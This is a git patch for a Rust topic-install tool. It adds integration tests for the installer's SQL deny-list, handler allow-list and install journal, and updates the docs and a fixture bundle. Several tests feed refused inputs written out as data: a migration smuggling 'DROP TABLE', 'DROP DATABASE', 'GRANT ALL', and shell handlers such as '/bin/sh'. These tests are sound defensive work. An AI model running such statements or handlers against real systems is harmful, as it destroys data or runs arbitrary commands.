topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + let report = installer + .install( + &request(&doc, §ion("tb4")), + SetupSummary::Skipped { + reason: "--skip-baseline".into(), + }, + ) + .await + .expect("the bundle installs"); + + assert_eq!(report.topic_id, "tb4"); + assert_eq!( + report.migrations_applied, + ["0001_scratch", "0002_index"], + "both migrations apply, in bundle order" + ); + assert!(report.migrations_skipped.is_empty()); + assert_eq!(report.rules_version, 1); + assert_eq!(report.rule_ids, ["no_short_circuit", "no_holdout_leak"]); + assert_eq!(report.binding.handler, "harbor"); + assert_eq!( + report.binding.runner_id.as_deref(), + Some("operator_adaptor_v0"), + "the signed document's runner is what is bound" + ); + assert_eq!(report.binding.vms_per_submission, VMS_PER_SUBMISSION); + assert_eq!(report.binding.vms_per_submission, 1); + assert!(report.binding.submission_format_digest.is_some()); + assert!(report.binding.scoring_digest.is_some()); + assert_eq!( + report.apis.len(), + 2, + "both routes are registered: {:?}", + report.apis + ); + + // The migration really created its objects, in the topic's namespace. + let exists: Option = sqlx::query_scalar("SELECT to_regclass('tb4_scratch')::text") + .fetch_one(&pool) + .await + .expect("probe the table"); + assert_eq!(exists.as_deref(), Some("tb4_scratch")); + + // The rules the scoring path reads are the ones the install landed. + let rules = store + .current_rules("tb4") + .await + .expect("rules") + .expect("some"); + assert_eq!(rules.version, 1); + assert_eq!(rules.topic_id, "tb4"); + + // The routes are readable back through the mux's own query. + let routes = topic_routes(&pool, "tb4").await.expect("routes"); + assert_eq!(routes.len(), 2); + assert_eq!( + routes[0].path, "runs/tb4", + "the section's `{{id}}` is the topic id: {routes:?}" + ); + assert_eq!(routes[0].method, "GET"); + assert_eq!(routes[0].summary, ""); + assert_eq!(routes[1].path, "status"); + assert_eq!(routes[1].summary, "topic status"); + assert!( + routes.iter().all(|r| !r.path.starts_with('/')), + "stored paths are relative: {routes:?}" + ); + + // The journal's newest row is this run, in the `applied` state. + let row = latest_install(&pool, "tb4") + .await + .expect("journal") + .expect("a row"); + assert_eq!(row.state, "applied"); + assert_eq!(row.environment, "staging"); + assert_eq!(row.rules_version, Some(1)); + assert_eq!(row.migrations, ["0001_scratch", "0002_index"]); + assert_eq!(row.binding["vms_per_submission"], 1); + + tp.drop_schema().await.expect("drop"); +} + +/// A denied migration writes **nothing at all**. +/// +/// The deny-list runs before the journal opens, so a bundle it refuses leaves +/// no row, no rule, and no table — not even from the migrations that would +/// have been legal. This is the stronger of the two failure shapes, and it is +/// what makes "a denied bundle is a no-op" a property rather than a hope. +#[tokio::test] +async fn a_denied_migration_writes_nothing_at_all() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + // The first migration is legal; the second reaches into the scoring path. + // Both are refused before either runs, because the check runs over every + // statement of every migration first. + let bad = r#"{ + "migrations": [ + {"name": "0001_ok", "sql": "CREATE TABLE tb4_ok (id TEXT)"}, + {"name": "0002_evil", "sql": "CREATE TABLE tb4_x (id TEXT); DROP TABLE proof_rule_version;"} + ] + }"#; + let err = installer + .install( + &request(&doc, bad), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect_err("the second statement is denied"); + let InstallError::MigrationDenied { ordinal, what, .. } = &err else { + panic!("expected MigrationDenied, got {err:?}"); + }; + assert_eq!(*ordinal, 2, "the refusal names the offending statement"); + assert!(what.contains("proof_"), "{what}"); + + // Nothing from the *first* migration landed either. + let exists: Option = sqlx::query_scalar("SELECT to_regclass('tb4_ok')::text") + .fetch_one(&pool) + .await + .expect("probe"); + assert_eq!( + exists, None, + "a denied bundle must not leave a partial install" + ); + + // No rules, and no journal row: the refusal happened before the journal + // opened, so there is nothing to roll back. + assert!( + store.current_rules("tb4").await.expect("rules").is_none(), + "a refused install must not leave rules" + ); + assert!( + latest_install(&pool, "tb4") + .await + .expect("journal") + .is_none(), + "a pre-flight refusal writes no journal row: it is a no-op, not a failed attempt" + ); + + tp.drop_schema().await.expect("drop"); +} + +/// A re-run resumes: migrations already in the journal are skipped, the rules +/// version is not bumped, and the routes are not duplicated. +#[tokio::test] +async fn a_re_run_resumes_instead_of_re_applying() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + let first = installer + .install( + &request(&doc, §ion("tb4")), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("first install"); + assert_eq!(first.migrations_applied.len(), 2); + + // A second run of the same bundle: nothing to apply, nothing to bump. + let second = installer + .install( + &request(&doc, §ion("tb4")), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("second install"); + assert!( + second.migrations_applied.is_empty(), + "already-applied migrations are skipped: {:?}", + second.migrations_applied + ); + assert_eq!( + second.migrations_skipped, + ["0001_scratch", "0002_index"], + "and the journal says which" + ); + assert_eq!( + second.rules_version, 1, + "the rules version is not bumped by a re-run" + ); + let rules = store + .current_rules("tb4") + .await + .expect("rules") + .expect("some"); + assert_eq!(rules.version, 1, "exactly one rule version exists"); + + // Routes are keyed `(topic_id, method, path)`, so a re-run does not + // duplicate them. + let routes = topic_routes(&pool, "tb4").await.expect("routes"); + assert_eq!(routes.len(), 2, "{routes:?}"); + + // A third run with a *new* migration applies only the new one. + let extended = section("tb4").replace( + r#"{"name": "0002_index", "sql": "CREATE INDEX tb4_scratch_idx ON tb4_scratch (id)"}"#, + r#"{"name": "0002_index", "sql": "CREATE INDEX tb4_scratch_idx ON tb4_scratch (id)"}, + {"name": "0003_more", "sql": "CREATE TABLE tb4_more (id TEXT)"}"#, + ); + let third = installer + .install( + &request(&doc, &extended), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("third install"); + assert_eq!( + third.migrations_applied, + ["0003_more"], + "only the new migration applies" + ); + assert_eq!(third.migrations_skipped.len(), 2); + + tp.drop_schema().await.expect("drop"); +} + +/// A migration that is permitted but fails in the database **does** journal +/// the failure, because it got past the pre-flight checks. +/// +/// This is the other failure shape, and the contrast with the test above is +/// the point: a pre-flight refusal is a no-op, a step failure is recorded so +/// the operator can see how far the run got. +#[tokio::test] +async fn a_failing_migration_rolls_back_its_own_statements_and_journals() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + // The first statement is fine; the second references a column that does + // not exist, so the database refuses it. Both are in one migration, so + // the transaction takes the first one down with it. + let bad = r#"{ + "migrations": [ + {"name": "0001_partial", "sql": "CREATE TABLE tb4_partial (id TEXT); INSERT INTO tb4_partial (nope) VALUES ('x');"} + ] + }"#; + let err = installer + .install( + &request(&doc, bad), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect_err("the insert fails"); + let InstallError::MigrationFailed { name, ordinal, .. } = &err else { + panic!("expected MigrationFailed, got {err:?}"); + }; + assert_eq!(name, "0001_partial"); + assert_eq!(*ordinal, 2, "the failure names the statement"); + + let exists: Option = sqlx::query_scalar("SELECT to_regclass('tb4_partial')::text") + .fetch_one(&pool) + .await + .expect("probe"); + assert_eq!( + exists, None, + "one migration is one transaction: a later failure takes the earlier statement with it" + ); + + // This one *is* journaled: it got past the pre-flight checks, so the + // operator needs to see how far it got. + let row = latest_install(&pool, "tb4") + .await + .expect("journal") + .expect("a row"); + assert_eq!(row.state, "failed"); + assert!( + row.detail.contains("0001_partial"), + "the journal must name the migration: {}", + row.detail + ); + + tp.drop_schema().await.expect("drop"); +} + +/// The open-custom-id gate: an open custom topic whose id this host does not +/// register is refused before anything is written, because it could not +/// score. +#[tokio::test] +async fn an_open_custom_topic_with_an_unregistered_id_is_refused() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let mut doc = topic("tb4"); + doc.status = TopicStatus::Open; + let installer = Installer { + pool: &pool, + store: &store, + }; + let rlm = section("tb4"); + let mut req = request(&doc, &rlm); + req.registered_custom = vec!["some_other_metric".into()]; + let err = installer + .install(&req, SetupSummary::NotDriven { reason: "x".into() }) + .await + .expect_err("unregistered open custom id"); + let InstallError::CustomIdNotRegistered { custom_id, .. } = &err else { + panic!("expected CustomIdNotRegistered, got {err:?}"); + }; + assert_eq!(custom_id, "tb4-metric"); + assert!(err.to_string().contains("503"), "{err}"); + + // Nothing was written, including the journal: the gate runs before the + // first row. + assert!( + latest_install(&pool, "tb4") + .await + .expect("journal") + .is_none(), + "a refused binding must not leave a journal row" + ); + + // Registering the id makes it install. + let mut req = request(&doc, &rlm); + req.registered_custom = vec!["tb4-metric".into()]; + installer + .install(&req, SetupSummary::NotDriven { reason: "x".into() }) + .await + .expect("a registered id installs"); + + tp.drop_schema().await.expect("drop"); +} + +/// The handler allow-list is enforced through the engine, not only in the +/// reader: a section naming an arbitrary binary cannot reach a write. +#[tokio::test] +async fn an_arbitrary_handler_never_reaches_a_write() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + for bad in ["/bin/sh", "arbitrary_binary", "sh -c 'x'"] { + let section = format!(r#"{{"handler": "{bad}"}}"#); + let req = request(&doc, §ion); + let err = installer + .install(&req, SetupSummary::NotDriven { reason: "x".into() }) + .await + .expect_err(bad); + assert!( + matches!(err, InstallError::HandlerNotAllowed(_)), + "{bad}: {err:?}" + ); + assert!( + latest_install(&pool, "tb4") + .await + .expect("journal") + .is_none(), + "{bad}: nothing must be written" + ); + } + tp.drop_schema().await.expect("drop"); +} + +/// An empty section installs the topic's own signed rule vector: a bundle +/// that carries no rules still lands a version the gate can read. +#[tokio::test] +async fn an_empty_section_installs_the_documents_own_rules() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let mut doc = topic("tb4"); + doc.checklist = vec![proof_task::ChecklistRule { + id: "signed_rule".into(), + text: "the rule the operator signed".into(), + }]; + let installer = Installer { + pool: &pool, + store: &store, + }; + let report = installer + .install( + &request(&doc, "{}"), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("an empty section is a legal bundle"); + assert_eq!(report.rule_ids, ["signed_rule"]); + assert!(report.migrations_applied.is_empty()); + assert!(report.apis.is_empty()); + assert_eq!( + report.binding.handler, "vm_backed", + "the fail-closed default handler" + ); + assert_eq!(report.binding.vms_per_submission, 1); + + tp.drop_schema().await.expect("drop"); +} + +/// A migration may only touch its own namespace, and the refusal names the +/// object — checked through the engine, against a real database. +#[tokio::test] +async fn a_migration_reaching_another_namespace_is_refused() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + for (sql, needle) in [ + ( + "CREATE TABLE other_topic_scores (id TEXT)", + "other_topic_scores", + ), + ("SELECT * FROM proof_topic_version", "proof_"), + ("DROP DATABASE base", "DROP DATABASE"), + ("GRANT ALL ON tb4_x TO base_app", "GRANT"), + ] { + let section = format!(r#"{{"migrations": [{{"name": "0001_probe", "sql": "{sql}"}}]}}"#); + let req = request(&doc, §ion); + let err = installer + .install(&req, SetupSummary::NotDriven { reason: "x".into() }) + .await + .expect_err(sql); + let InstallError::MigrationDenied { what, .. } = &err else { + panic!("{sql}: expected MigrationDenied, got {err:?}"); + }; + assert!( + what.to_lowercase().contains(&needle.to_lowercase()), + "{sql}: refusal must name {needle:?}, said {what:?}" + ); + } + tp.drop_schema().await.expect("drop"); +} + +/// The journal is append-only and its states are exactly the three the +/// migration allows: a run that succeeds writes `pending` then `applied`. +#[tokio::test] +async fn the_journal_appends_pending_then_applied() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = PgRlmStore::new(pool.clone()); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + installer + .install( + &request(&doc, §ion("tb4")), + SetupSummary::NotDriven { reason: "x".into() }, + ) + .await + .expect("install"); + + let states: Vec = sqlx::query_scalar( + "SELECT state FROM proof_topic_install WHERE topic_id = 'tb4' ORDER BY id", + ) + .fetch_all(&pool) + .await + .expect("states"); + assert_eq!( + states, + ["pending", "applied"], + "the pending row lands first so a crash is visible" + ); + for state in &states { + assert!( + matches!(state.as_str(), "pending" | "applied" | "failed"), + "{state}" + ); + } + + tp.drop_schema().await.expect("drop"); +} + +/// The install does not need a real rule store for its SQL half: the memory +/// store is enough to prove the engine's ordering, and this test doubles as +/// the check that a topic with no database-backed rules still installs. +#[tokio::test] +async fn the_engine_drives_the_store_it_is_given() { + let Some((tp, pool)) = test_pool().await else { + return; + }; + let store = MemoryRlmStore::new(); + let doc = topic("tb4"); + let installer = Installer { + pool: &pool, + store: &store, + }; + let report = installer + .install( + &request(&doc, §ion("tb4")), + SetupSummary::Baselined { + rules_version: 1, + baseline_primary: "0.42".into(), + }, + ) + .await + .expect("install"); + assert!(matches!(report.setup, SetupSummary::Baselined { .. })); + let rules = store + .current_rules("tb4") + .await + .expect("rules") + .expect("some"); + assert_eq!(rules.rules.len(), 2); + // And the journal's state is the same whichever store produced the rules. + let row = latest_install(&pool, "tb4") + .await + .expect("journal") + .expect("row"); + assert_eq!(row.state, InstallState::Applied.as_str()); + tp.drop_schema().await.expect("drop"); +} From 37fa0bd398aef8feb4dfe07e0eefd4019ffb91e2 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:51:35 +0000 Subject: [PATCH 04/11] docs(proof): the install runs now, so say what it does and refuses MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The install section still described P0: a CLI that prints a procedure and touches nothing. It performs it now, behind two closed gates, so the doc and the fixture have to say what it does — and, more usefully, what it refuses. - `docs/PROOF.md`: a "Running the install for real" section with the exact command, the four steps in order, the two gates that authorize spend (`--drive-rlm` needs `--owner-approved`), the deny-list and handler allow-list as tables, and the two failure shapes. An install never publishes an `open` document, so a failed install leaves the topic draft/disabled; a pre-flight refusal writes nothing at all, while a step failure journals how far it got and resumes on re-run. The locked-defaults table gains the two new rows (the RLM gate and the `vms_per_submission = 1` pin), and the stale "the CLI does not read the section" paragraph is corrected: the CLI carries it, the install executor is its one consumer, and a part it has never heard of travels. - The fixture bundle gains the parts a real install applies — a `migrations` entry, an `apis` entry, `scoring`, and the Owner-default `aliases: ["tbench"]` — so the committed artifact exercises the same path an operator's bundle will. The sample migration stays inside the topic's own namespace, which is what makes it legal under the deny-list. - `regenerate_dry_run_fixture` resolved its output directory against `cargo test`'s working directory (the package), so the documented command wrote to `bins/proof-admin/bins/proof-admin/…`. It now resolves against the workspace root, so the command writes where it says it does. - The install plan prints the aliases it will point at the topic, so an operator reading the dry run sees the whole procedure. Gates: fmt, workspace clippy, all xtask gates, and every workspace test suite except four pre-existing root-only permission tests (they fail on the base branch too: they `chmod 000` a directory and expect the read to fail, which root ignores). Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- bins/proof-admin/src/main.rs | 17 ++- bins/proof-admin/tests/cli.rs | 34 ++++- .../tests/fixtures/README-dry-run.md | 69 +++++++--- .../tests/fixtures/tb4.install-bundle.json | 22 +++- docs/PROOF.md | 119 +++++++++++++++--- 5 files changed, 221 insertions(+), 40 deletions(-) diff --git a/bins/proof-admin/src/main.rs b/bins/proof-admin/src/main.rs index 4f6ff2249..342f521fb 100644 --- a/bins/proof-admin/src/main.rs +++ b/bins/proof-admin/src/main.rs @@ -538,6 +538,14 @@ pub(crate) fn print_plan(plan: &TopicInstallPlan, bundle_path: &Path, pin_path: ); println!(" bundle_digest {}", plan.bundle_digest); println!(" pin {}", pin_path.display()); + println!( + " aliases {}", + if plan.aliases.is_empty() { + "-".to_owned() + } else { + plan.aliases.join(", ") + } + ); if plan.environment == InstallEnvironment::Metal { println!(" owner_gate acknowledged (Owner-only metal install)"); } else { @@ -550,10 +558,11 @@ pub(crate) fn print_plan(plan: &TopicInstallPlan, bundle_path: &Path, pin_path: plan.rlm_jobs.join(" -> ") ); if plan.rlm_install.is_some() { - println!(" # This bundle carries an RLM install section. It is handed to the RLM"); - println!(" # verbatim and the admin CLI does not read into it: what the section"); - println!(" # contains is the topic's business, not this binary's. Rust never"); - println!(" # branches on a topic's rules, APIs, submit format, or scoring."); + println!(" # This bundle carries an RLM install section. A real install applies it"); + println!(" # under two closed gates (a SQL deny-list and a handler allow-list) and"); + println!(" # records what it did in `proof_topic_install`. The CLI itself does not"); + println!(" # read into the section: Rust never branches on a topic's rules, APIs,"); + println!(" # submit format, or scoring."); } else { println!(" # No RLM install section in this bundle: the RLM uses its defaults."); } diff --git a/bins/proof-admin/tests/cli.rs b/bins/proof-admin/tests/cli.rs index 21468d2f1..0ce9eb7e8 100644 --- a/bins/proof-admin/tests/cli.rs +++ b/bins/proof-admin/tests/cli.rs @@ -147,7 +147,8 @@ max_output_tokens = 8192 doc } - /// The Arch default bundle: slug `tb4`, custom id `tbench`. + /// The Arch default bundle: slug `tb4`, custom id `tbench`, and the + /// temporary alias `tbench` the Owner default declares. pub fn bundle_json(environment: &str) -> String { let hex = "ab".repeat(32); let pack = format!("sha256:{hex}"); @@ -157,6 +158,7 @@ max_output_tokens = 8192 "environment": environment, "display_name": "Terminal-Bench 4", "topic": topic, + "aliases": ["tbench"], "host": { "rlm_image_digest": format!("sha256:{hex}"), "experiment_image_digest": format!("sha256:{hex}"), @@ -171,7 +173,14 @@ max_output_tokens = 8192 "rules": [ {"id": "no_short_circuit", "text": "the harness must run the task"} ], - "submission_format": {"kind": "tar", "max_bytes": 5_242_880} + "migrations": [ + {"name": "0001_scratch", "sql": "CREATE TABLE tb4_scratch (id TEXT)"} + ], + "apis": [ + {"path": "status", "method": "GET", "summary": "topic status"} + ], + "submission_format": {"kind": "tar", "max_bytes": 5_242_880}, + "scoring": {"primary": "primary_value", "epsilon_rel": 0.05} } }); serde_json::to_string_pretty(&bundle).expect("json") @@ -193,7 +202,19 @@ fn regenerate_dry_run_fixture() { let Ok(dir) = std::env::var("PROOF_ADMIN_FIXTURE_DIR") else { return; }; - let dir = PathBuf::from(dir); + // `cargo test` runs with the **package** directory as the working + // directory, so a repo-relative value would land under + // `bins/proof-admin/bins/proof-admin/…`. Resolving against the workspace + // root is what makes the documented command write where it says. + let workspace = Path::new(env!("CARGO_MANIFEST_DIR")) + .parent() + .and_then(Path::parent) + .expect("bins/ sits two levels under the workspace root"); + let dir = if Path::new(&dir).is_absolute() { + PathBuf::from(dir) + } else { + workspace.join(dir) + }; fs::create_dir_all(&dir).expect("fixture dir"); fs::write( dir.join("tb4.install-bundle.json"), @@ -201,6 +222,7 @@ fn regenerate_dry_run_fixture() { ) .expect("bundle"); fs::write(dir.join("tb4.pin.toml"), fixture::pin_toml()).expect("pin"); + eprintln!("wrote the dry-run fixture to {}", dir.display()); } /// The committed dry-run fixture must stay runnable. @@ -255,6 +277,12 @@ fn the_committed_dry_run_fixture_still_validates_and_plans() { body.contains("Hand control to the topic's RLM"), "the plan must show the hand-off: {body}" ); + // The fixture carries the Owner-default alias, so the plan must say so: + // an operator reads the plan to know what the install will do. + assert!( + body.contains("tbench"), + "the plan must name the alias the fixture declares: {body}" + ); // The fixture is staging-only: a metal plan must be refused, both by the // declared target and by the Owner gate. diff --git a/bins/proof-admin/tests/fixtures/README-dry-run.md b/bins/proof-admin/tests/fixtures/README-dry-run.md index c934ebf19..33c70642f 100644 --- a/bins/proof-admin/tests/fixtures/README-dry-run.md +++ b/bins/proof-admin/tests/fixtures/README-dry-run.md @@ -1,11 +1,11 @@ # `proof-admin` dry-run fixture — Owner A→Z -Operator dry-run artifact for the dynamic-topics P0 skeleton (PR #297). +Operator dry-run artifact for the dynamic-topics install path (P0 + P1a). **Nothing here is a production topic.** | File | What it is | |------|------------| -| `tb4.install-bundle.json` | A **Topic Install Bundle**: slug `tb4`, alias `tbench`, install target `staging`, carrying a signed `TopicDocument` and an RLM install section. | +| `tb4.install-bundle.json` | A **Topic Install Bundle**: slug `tb4`, alias `tbench`, install target `staging`, carrying a signed `TopicDocument`, an `rlm` install section (`rules`, `migrations`, `apis`, `submission_format`, `scoring`), and the Owner-default alias. | | `tb4.pin.toml` | The `ProofPin` that document is checked against. | ## Exact commands @@ -33,6 +33,35 @@ cargo run --bin proof-admin -- topic validate \ Both write nothing and need no database. +## Running the install for real + +Drop `--dry-run` and supply the master and the operator bearer: + +```bash +cargo run -p proof-admin-bin -- topic install \ + --bundle bins/proof-admin/tests/fixtures/tb4.install-bundle.json \ + --env staging \ + --pin bins/proof-admin/tests/fixtures/tb4.pin.toml \ + --admin-url http://127.0.0.1:8100 \ + --admin-token-file /run/proof/admin_token +``` + +This fixture's document is signed by the **test** key, so a real install +against a live master would be refused at the publish step. Use it to exercise +the gates and the dry run; the real `tb4` document is signed by the `proof` +row key and is a follow-up (see below). + +Add `--drive-rlm --owner-approved` to provision the topic VM and run the paid +baseline; that step needs a wired topic-VM orchestrator and spends, so it is +the Owner's call, not a walkthrough step. `--skip-baseline` stops before the +baseline job. + +Read the journal back with: + +```bash +BASE_DATABASE_URL=… proof-admin topic install-log --topic tb4 +``` + ### Two things the command needs **`-p proof-admin-bin`, not `-p proof-admin`.** The repo names binary packages @@ -61,17 +90,20 @@ row key and is a follow-up (see below). - **Not a production topic.** The document is signed with a test mini-secret; `tb4.pin.toml` carries the matching `topic_pubkey`. - **Not a real RLM install.** The `rlm` section is a small illustrative sample - (`rules`, `submission_format`). A real bundle carries the topic's own rules, - migrations, APIs, submission format, and scoring — which the RLM consumes - and this repository never interprets. + (`rules`, `migrations`, `apis`, `submission_format`, `scoring`). A real + bundle carries the topic's own — which the RLM consumes and this repository + never interprets. The sample's migration (`CREATE TABLE tb4_scratch`) is + legal under the deny-list precisely because it stays inside the topic's own + namespace. - **Not the metal artifact.** The metal signed Operator `tb4.json` is a follow-up; this fixture exists so the staging A→Z walkthrough can exercise - `validate` and `--dry-run` today. + `validate`, `--dry-run`, and the install gates today. ## Staging migrate -`crates/db/migrations/0024_proof_topic_alias.sql` is the **only** schema -change in this PR. +`crates/db/migrations/0024_proof_topic_alias.sql` and +`crates/db/migrations/0025_proof_topic_install.sql` are the schema changes in +this stack. **There is no manual migration command to run.** Migrations are embedded in the `db` crate (`sqlx::migrate!("./migrations")`) and applied automatically on @@ -87,17 +119,22 @@ staging path is the **service restart**: a workspace dependency and is not installed in a clean checkout, so that command fails with `error: no such command: sqlx`. -What it does, exactly: +What they do, exactly: -- **Adds** `proof_topic_alias` (`alias → topic_id`, plus a `topic_id` index). - It is a mapping and nothing else — no display name, no pins, no status, no - document; those stay in `proof_topic_version` (migration `0020`). -- **Adds** `BEFORE INSERT` (and `UPDATE` on the alias table) triggers, +- `0024` **adds** `proof_topic_alias` (`alias → topic_id`, plus a `topic_id` + index). It is a mapping and nothing else — no display name, no pins, no + status, no document; those stay in `proof_topic_version` (migration `0020`). + It also adds `BEFORE INSERT` (and `UPDATE` on the alias table) triggers, `proof_topic_alias_no_shadow` and `proof_topic_version_no_shadow`, which make an alias collision with a published slug fail closed in **both** - directions. This is a **publish-path integrity guard, not scoring math** — - it cannot change a score, a payout, or a sealed vector. -- **Does not** `ALTER` or `DROP` anything: the `0020` tables keep their + directions. That is a publish-path integrity guard, not scoring math. +- `0025` **adds** `proof_topic_install` (the install journal: bundle digest, + environment, state, rules version, rule ids, migrations applied, executor + binding, detail) and `proof_topic_api` (the routes a topic registers, with + paths stored **relative** so a row cannot escape the topic's prefix). Both + are append-only for `base_app`: a journal that could be edited in place + would not be a journal, so a re-install appends. +- Neither **does** `ALTER` or `DROP` anything: the `0020` tables keep their columns, keys, and grants. ## Regenerating diff --git a/bins/proof-admin/tests/fixtures/tb4.install-bundle.json b/bins/proof-admin/tests/fixtures/tb4.install-bundle.json index 7cff616e9..0b278f7a9 100644 --- a/bins/proof-admin/tests/fixtures/tb4.install-bundle.json +++ b/bins/proof-admin/tests/fixtures/tb4.install-bundle.json @@ -1,4 +1,7 @@ { + "aliases": [ + "tbench" + ], "display_name": "Terminal-Bench 4", "environment": "staging", "host": { @@ -9,12 +12,29 @@ "rlm_image_digest": "sha256:abababababababababababababababababababababababababababababababab" }, "rlm": { + "apis": [ + { + "method": "GET", + "path": "status", + "summary": "topic status" + } + ], + "migrations": [ + { + "name": "0001_scratch", + "sql": "CREATE TABLE tb4_scratch (id TEXT)" + } + ], "rules": [ { "id": "no_short_circuit", "text": "the harness must run the task" } ], + "scoring": { + "epsilon_rel": 0.05, + "primary": "primary_value" + }, "submission_format": { "kind": "tar", "max_bytes": 5242880 @@ -83,7 +103,7 @@ "payout_mode": "discovery", "proxy_model": null, "schema_version": 1, - "signature": "14252aa026fda0a80957ea01c952311f171707cbc0c7d966e2594a8edd46a732d5132660f89c7a77cd4efba6fb6bf47803f155af26783fe46fc8ae418aee2a85", + "signature": "c4396e7185c040d176efcff71ae8fe1cee590ee1ad7bbbaae0e7b2c4f6f5c5034ee03b3ec3b42c48f268ad5af0690cb058351968bfcd37792f15e50e34357f8d", "statement": "Score the pinned task pack with the pinned runner.", "status": "draft", "valid_from_epoch": 0, diff --git a/docs/PROOF.md b/docs/PROOF.md index b717e1b95..6318e2545 100644 --- a/docs/PROOF.md +++ b/docs/PROOF.md @@ -195,7 +195,7 @@ Ship order: control plane (payout schema) → proof-eval image + digest pin path: [`deploy/scripts/proof-operator-path.sh`](../deploy/scripts/proof-operator-path.sh). Empty digest stays 503 (never invent a sha256). -## Topic install bundles (`proof-admin`, P0 skeleton) +## Topic install bundles (`proof-admin`) A topic already has **one** home: the operator-signed document published through `POST /v1/admin/proof/topics` and persisted in `proof_topic_version` @@ -269,8 +269,20 @@ crate's non-test source, one over the CLI's. The install plan prints the hand-off first and the RLM's own lifecycle steps (`provision -> propose_rules -> baseline`, the existing `TopicSetup` driver), -then the publish call and the host env. The CLI does not run those steps and -does not read the section — it reports what the RLM will be asked to do. +then the publish call and the host env. + +`proof-admin` does not read the section: it carries it. The **install +executor** (`crates/proof-topic-install`) is the one consumer, and it reads +only the parts it applies — `migrations`, `apis`, `rules`, +`submission_format`, `scoring`, `handler` — each under a closed gate. A key +inside one of those parts that this build does not read is refused, because a +step nothing would perform is a step that silently did not happen. A part it +has never heard of **travels**: that is the boundary working, and it is why a +new topic behavior does not need a code change here. + +`submission_format` and `scoring` are recorded as canonical-JSON digests and +otherwise untouched: the install can prove *which* ones a topic was installed +with without claiming to understand them. ### Locked defaults @@ -280,14 +292,19 @@ does not read the section — it reports what the RLM will be asked to do. | Temporary alias | **`tbench`** | `proof_topic_alias` row `tbench → tb4` (migration `0024`) | | Storage | **shared challenge DB**, `topic_id` discriminant | `proof_topic_version` (no per-topic schema) | | Metal install | **Owner-only, staging first** | `--owner-metal-ack` gate | +| Driving the RLM | **Owner-only** (provisions a VM, runs a paid baseline) | `--drive-rlm` + `--owner-approved` | +| VMs per submission | **1** (the allocator pin) | recorded in `proof_topic_install.binding` | | Custom id | `tbench` | the document's `metric.custom_id` | -**Schema:** `0024_proof_topic_alias.sql` is the only change in this slice. It -adds `proof_topic_alias` and a `BEFORE INSERT`/`UPDATE` trigger pair that makes -an alias collision with a published slug fail closed in both directions — a -**publish-path integrity guard, not scoring math**: it cannot change a score, -a payout, or a sealed vector. It does not `ALTER` or `DROP` anything, and the -`0020` tables keep their columns, keys, and grants. +**Schema:** `0024_proof_topic_alias.sql` adds `proof_topic_alias` and a +`BEFORE INSERT`/`UPDATE` trigger pair that makes an alias collision with a +published slug fail closed in both directions. `0025_proof_topic_install.sql` +adds the install journal (`proof_topic_install`) and the topic's dynamic route +table (`proof_topic_api`). Both are **append-only** for `base_app` — a journal +that could be edited in place would not be a journal — and neither `ALTER`s +nor `DROP`s anything, so the `0020` tables keep their columns, keys, and +grants. The route table stores paths **relative** to the topic's prefix, so a +row cannot carry an absolute path that escapes the topic's namespace. `tbench` is two different things and they are not the same mapping: it is the topic's **alias** (`show tbench` resolves to `tb4`) and also the runner @@ -315,13 +332,83 @@ is an operator assertion, not a verified precondition: it exists so a live target cannot be reached by a default or a copy-pasted staging command. `--env staging` is never gated. -**P0 scope — what this does not do.** `install` **prints** the publish call; -it does not perform it, because publishing needs the operator bearer, which -stays on the host. `topic enable`, `topic disable`, and `topic seal` exit -**3** with a "not implemented in this slice" message — a topic's lifecycle is -the signed document's `status`, so the answer is to re-sign and re-publish. -There is no route change (P1), no allocator change (P2), no full install -(P3), and no removal of the compiled-in topic bindings (P4). +### Running the install for real (P1a) + +Without `--dry-run`, `install` performs the procedure. It needs the master's +address and the operator bearer, both of which stay on the host: + +```bash +proof-admin topic install \ + --bundle /root/.base-secrets/proof/tb4.json --env staging \ + --admin-url http://127.0.0.1:8100 \ + --admin-token-file /run/proof/admin_token +``` + +What it does, in order: + +1. **Publishes** the signed document through the existing admin route. The + bearer is read from the file and never printed or logged. A missing URL, a + missing token file, or an empty one is a **usage error before anything is + written**, so a misconfiguration cannot leave a half-installed topic. +2. **Applies** the bundle's RLM section: its `migrations` (under the + deny-list), its `apis` (recorded as topic-scoped routes), its `rules` + (installed through the store the scoring path reads), and its `scoring` / + `submission_format` digests. All of it lands in the install journal. +3. **Points** the bundle's declared `aliases` at the topic. +4. **Drives** the RLM's own lifecycle — `provision` → `propose_rules` → + `baseline` — but only with `--drive-rlm`, because that provisions a VM and + runs a paid baseline. `--drive-rlm` therefore also requires + `--owner-approved`. `--skip-baseline` stops before the baseline job (it + requires `--drive-rlm`, since otherwise the install never gets there). + +`topic install-log --topic ` reads the journal back: which bundle digest +was applied, whether 